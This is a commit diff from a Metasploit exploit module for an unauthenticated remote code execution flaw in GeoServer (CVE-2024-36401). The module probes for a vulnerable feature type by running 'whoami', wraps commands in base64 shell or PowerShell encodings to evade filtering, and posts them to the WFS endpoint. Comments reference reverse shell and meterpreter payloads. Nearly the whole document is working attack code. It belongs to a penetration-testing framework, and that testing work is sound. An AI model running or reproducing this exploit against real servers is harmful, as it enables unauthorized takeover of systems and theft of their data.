Skip to content

Commit 1d60705

Browse files
h00die-gr3ybwatters-r7
authored andcommitted
dynamic feature type enhancement
1 parent 6b49eb3 commit 1d60705

File tree

1 file changed

+23
-37
lines changed

1 file changed

+23
-37
lines changed

modules/exploits/multi/http/geoserver_unauth_rce_cve_2024_36401.rb

Lines changed: 23 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,6 @@ class MetasploitModule < Msf::Exploit::Remote
77
Rank = ExcellentRanking
88
prepend Msf::Exploit::Remote::AutoCheck
99
include Msf::Exploit::Remote::HttpClient
10-
include Msf::Exploit::CmdStager
1110

1211
def initialize(info = {})
1312
super(
@@ -31,7 +30,8 @@ def initialize(info = {})
3130
'Author' => [
3231
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
3332
'jheysel-r7', # MSF module Windows support
34-
'Steve Ikeoka' # Discovery
33+
'Steve Ikeoka', # Discovery
34+
'Valentin Lobstein a.k.a chocapik' # Dynamic featuretype enhancement
3535
],
3636
'References' => [
3737
['CVE', '2024-36401'],
@@ -41,7 +41,7 @@ def initialize(info = {})
4141
],
4242
'DisclosureDate' => '2024-07-01',
4343
'Platform' => ['unix', 'linux'],
44-
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE],
44+
'Arch' => [ARCH_CMD],
4545
'Privileged' => true,
4646
'Targets' => [
4747
[
@@ -51,17 +51,7 @@ def initialize(info = {})
5151
'Arch' => ARCH_CMD,
5252
'Type' => :unix_cmd
5353
# Tested with cmd/unix/reverse_bash
54-
}
55-
],
56-
[
57-
'Linux Dropper',
58-
{
59-
'Platform' => ['linux'],
60-
'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE],
61-
'Type' => :linux_dropper,
62-
'Linemax' => 16384,
63-
'CmdStagerFlavor' => ['curl', 'wget', 'echo', 'printf', 'bourne']
64-
# Tested with linux/x64/meterpreter_reverse_tcp
54+
# Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
6555
}
6656
],
6757
[
@@ -100,7 +90,7 @@ def check_version
10090
'keep_cookies' => true,
10191
'method' => 'GET'
10292
})
103-
return nil unless res && res.code == 200 && res.body.include?('GeoServer Version')
93+
return nil unless res&.code == 200 && res.body.include?('GeoServer Version')
10494

10595
html = res.get_html_document
10696
unless html.blank?
@@ -112,7 +102,7 @@ def check_version
112102
end
113103

114104
def get_valid_featuretype
115-
allowed_feature_types = ['sf:archsites', 'sf:bugsites', 'sf:restricted', 'sf:roads', 'sf:streams', 'ne:boundary_lines', 'ne:coastlines', 'ne:countries', 'ne:disputed_areas', 'ne:populated_places']
105+
# get a list of available feature types and test if the feature type is supporting the RCE
116106
res = send_request_cgi!({
117107
'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'),
118108
'method' => 'GET',
@@ -123,36 +113,32 @@ def get_valid_featuretype
123113
'service' => 'wfs'
124114
}
125115
})
126-
return nil unless res && res.code == 200 && res.body.include?('ListStoredQueriesResponse')
116+
return nil unless res&.code == 200 && res.body.include?('ListStoredQueriesResponse')
127117

128118
xml = res.get_xml_document
129119
unless xml.blank?
130120
xml.remove_namespaces!
131121
# get all the FeatureTypes and store them in an array of strings
132122
retrieved_feature_types = xml.xpath('//ReturnFeatureType')
133123
# shuffle the retrieved_feature_types array, and loop through the list of retrieved_feature_types from GeoServer
134-
# return the feature type if a match is found in the allowed_feature_types array
124+
# test and return the feature type if an RCE is possible
135125
retrieved_feature_types.to_a.shuffle.each do |feature_type|
136-
return feature_type.text if allowed_feature_types.include?(feature_type.text)
126+
return feature_type.text if execute_command('whoami', feature_type.text)
137127
end
138128
end
139129
nil
140130
end
141131

142-
def create_payload(cmd)
143-
# get a valid feature type and fail back to a default if not successful
144-
feature_type = get_valid_featuretype
145-
feature_type = 'sf:archsites' if feature_type.nil?
146-
132+
def create_payload(cmd, feature_type)
147133
case target['Type']
148-
when :unix_cmd || :linux_dropper
134+
when :unix_cmd
149135
# create customised b64 encoded payload
150136
# 'Encoder' => 'cmd/base64' does not work in this particular use case
151-
cmd_b64 = Base64.strict_encode64(cmd)
152-
cmd = "sh -c echo${IFS}#{cmd_b64}|base64${IFS}-d|sh"
137+
enc_cmd_b64 = Base64.strict_encode64(cmd)
138+
cmd = "sh -c echo${IFS}#{enc_cmd_b64}|base64${IFS}-d|sh"
153139
when :win_cmd
154-
enc_cmd = Base64.strict_encode64("cmd /C --% #{payload.encoded}".encode('UTF-16LE'))
155-
cmd = "powershell.exe -e #{enc_cmd}"
140+
enc_cmd_b64 = Base64.strict_encode64("cmd /C --% #{cmd}".encode('UTF-16LE'))
141+
cmd = "powershell.exe -e #{enc_cmd_b64}"
156142
end
157143

158144
return <<~EOS
@@ -166,15 +152,17 @@ def create_payload(cmd)
166152
EOS
167153
end
168154

169-
def execute_command(cmd, _opts = {})
155+
def execute_command(cmd, feature_type, _opts = {})
170156
res = send_request_cgi({
171157
'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'),
172158
'method' => 'POST',
173159
'ctype' => 'application/xml',
174160
'keep_cookies' => true,
175-
'data' => create_payload(cmd)
161+
'data' => create_payload(cmd, feature_type)
176162
})
177-
fail_with(Failure::PayloadFailed, 'Payload execution failed.') unless res && res.code == 400 && res.body.include?('ClassCastException')
163+
return false unless res&.code == 400 && res.body.include?('ClassCastException')
164+
165+
true
178166
end
179167

180168
def check
@@ -190,11 +178,9 @@ def exploit
190178

191179
case target['Type']
192180
when :unix_cmd, :win_cmd
193-
execute_command(payload.encoded)
194-
when :linux_dropper
195-
# don't check the response here since the server won't respond
196-
# if the payload is successfully executed.
197-
execute_cmdstager({ linemax: target.opts['Linemax'] })
181+
valid_feature_type = get_valid_featuretype
182+
fail_with(Failure::NotFound, 'No valid featuretype found to estabish the RCE.') if valid_feature_type.nil?
183+
fail_with(Failure::PayloadFailed, 'Payload execution failed.') unless execute_command(payload.encoded, valid_feature_type)
198184
end
199185
end
200186
end

0 commit comments

Comments
 (0)